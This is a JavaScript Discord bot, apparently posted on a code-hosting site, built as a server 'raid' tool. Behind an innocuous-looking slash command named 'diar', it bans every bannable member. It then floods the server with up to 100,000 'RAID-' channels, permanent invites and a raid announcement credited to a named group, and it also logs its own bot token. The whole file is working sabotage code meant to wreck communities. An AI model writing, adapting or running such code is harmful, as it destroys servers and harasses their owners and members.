82 lines
2.4 KiB
JavaScript
82 lines
2.4 KiB
JavaScript
import { REST, Routes, Client, GatewayIntentBits, PermissionFlagsBits } from 'discord.js';
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const TOKEN = process.argv[2]
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const CLIENT_ID = process.argv[3]
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const commands = [
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{
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name: 'diar',
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description: 'Dairy air!',
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},
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];
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const client = new Client({ intents: [GatewayIntentBits.Guilds, GatewayIntentBits.GuildMembers, GatewayIntentBits.GuildInvites] });
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const rest = new REST({ version: '10' }).setToken(TOKEN);
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function randInt(min, max) {
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return Math.floor(Math.random() * (max - min) + min);
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}
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try {
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console.log('Started refreshing application (/) commands.');
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await rest.put(Routes.applicationCommands(CLIENT_ID), { body: commands });
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console.log('Successfully reloaded application (/) commands.');
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} catch (error) {
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console.error(error);
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}
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client.on('ready', () => {
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console.log(`Logged in as ${client.user.tag}!`);
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});
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async function raidMain(guild, interaction) {
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console.log("MAIN RAN")
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console.log("RUN BAN LOOP")
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for (const member of guild.members.cache.values()) {
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try {
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if (member.bannable) {
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await member.ban({reason: "raided", deleteMessageSeconds: 0})
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}
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}catch{console.log("Error banning!")}
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await new Promise(r => setTimeout(r, randInt(100,420)));
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}
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console.log("DOING MAIN LOOP IN MAIN FUNC")
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for (let i = 0; i < 100000; i++) {
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let j = randInt(420,999999)
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console.log(`Creating channel RAID-${j}`)
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guild.channels.create({ name: `RAID-${j}`, reason: 'COOL CHANNEL IS COOL' })
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interaction.channel.createInvite({
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maxAge: 0, // Invite never expires (adjust as needed)
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maxUses: 0, // Unlimited uses (adjust as needed)
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})
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try {
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interaction.channel.send(`# RAID
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This is a raid! Everybody get down!
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***This raid brought to you by [Sneed Group](https://github.com/sneed-group) and [NodeMixaholic.com!](https://nodemixaholic.com)***`)
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} catch {
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console.warn("Error sending raid msg! (Timeout?)")
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}
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await new Promise(r => setTimeout(r, randInt(500,6200)));
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}
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}
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client.on('interactionCreate', async interaction => {
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if (!interaction.isChatInputCommand()) return;
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if (interaction.commandName === 'diar') {
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console.log("RAID STARTED.")
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let guild = interaction.guild
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raidMain(guild, interaction)
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interaction.reply("OK")
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}
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});
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console.log(`${TOKEN}`)
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client.login(TOKEN);
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